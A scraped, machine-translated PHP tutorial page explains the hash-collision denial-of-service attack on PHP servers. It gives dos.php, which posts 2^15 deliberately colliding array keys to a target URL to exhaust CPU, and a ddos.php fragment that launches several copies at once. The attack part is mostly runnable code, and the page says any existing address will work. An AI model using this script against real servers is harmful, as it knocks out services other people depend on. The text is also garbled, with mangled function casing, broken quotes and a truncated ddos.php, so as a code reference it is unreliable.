Php method Analysis for DDoS attack using hash conflict vulnerability _php Tutorial

Source: Internet
Author: User

Analysis of the method of using hash conflict vulnerability in PHP for DDoS attack


This article mainly introduces the method that PHP uses the hash conflict vulnerability to carry out DDoS attack, and analyzes the principle and implementation technique of using hash for DDoS attack by PHP, and the Friends can refer to

In this paper, we analyze the method of using hash conflict vulnerability in PHP for DDoS attack. Share to everyone for your reference. The specific analysis is as follows:

First of all: the content of this article is only used for research and learning, do not use illegal!

The last mentioned hash table collision vulnerability, including Java, Python, PHP, and many other common languages are not spared, tonight we will actually see its power.

Attack principle:

By post a set of well-pieced array parameters to the target server, after reaching the service end, the language underlying processing of the received array parameters, due to the existence of the vulnerability caused a large CPU consumption, resulting in server resource exhaustion.
No fancy tricks, just use PHP to see the effect of simple implementation, point to stop.

Files: dos.php

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21st

22

23

24

25

26

27

28

Destination Address

As long as the target address exists, don't worry about it.

$host = ' http://127.0.0.1/test.php ';

$data = ";

$size = POW (2, 15);

For ($key =0, $max = ($size-1) * $size; $key <= $max; $key + = $size)

{

$data. = ' &array['. $key. ']=0 ';

}

$ret = Curl ($host, LTrim ($data, ' & ');

Var_dump ($ret);

Function Curl ($url, $post, $timeout = 30) {

$ch = Curl_init ();

curl_setopt ($ch, Curlopt_returntransfer, true);

curl_setopt ($ch, Curlopt_timeout, $timeout);

curl_setopt ($ch, Curlopt_connecttimeout, $timeout-5);

curl_setopt ($ch, Curlopt_httpheader, Array (' Expect: '));

curl_setopt ($ch, Curlopt_url, $url);

curl_setopt ($ch, Curlopt_post, true);

curl_setopt ($ch, Curlopt_postfields, $post);

$output = curl_exec ($ch);

if ($output = = = False) return false;

$info = Curl_getinfo ($ch);

$http _code = $info [' Http_code '];

if ($http _code = = 404) return false;

Curl_close ($ch);

return $output;

}

Files: ddos.php

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

Ddos

for ($i =0; $i <5; $i + +) {//concurrent number

Echo ';

}

?>

I hope this article is helpful to everyone's PHP programming.

http://www.bkjia.com/PHPjc/974520.html www.bkjia.com true http://www.bkjia.com/PHPjc/974520.html techarticle analysis of the method of using hash conflict vulnerability in PHP for DDoS attack This article mainly introduces the method that PHP exploits the hash conflict vulnerability, and the example analyzes the use of hash for DDoS attack by PHP.

  • Related Article

    Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.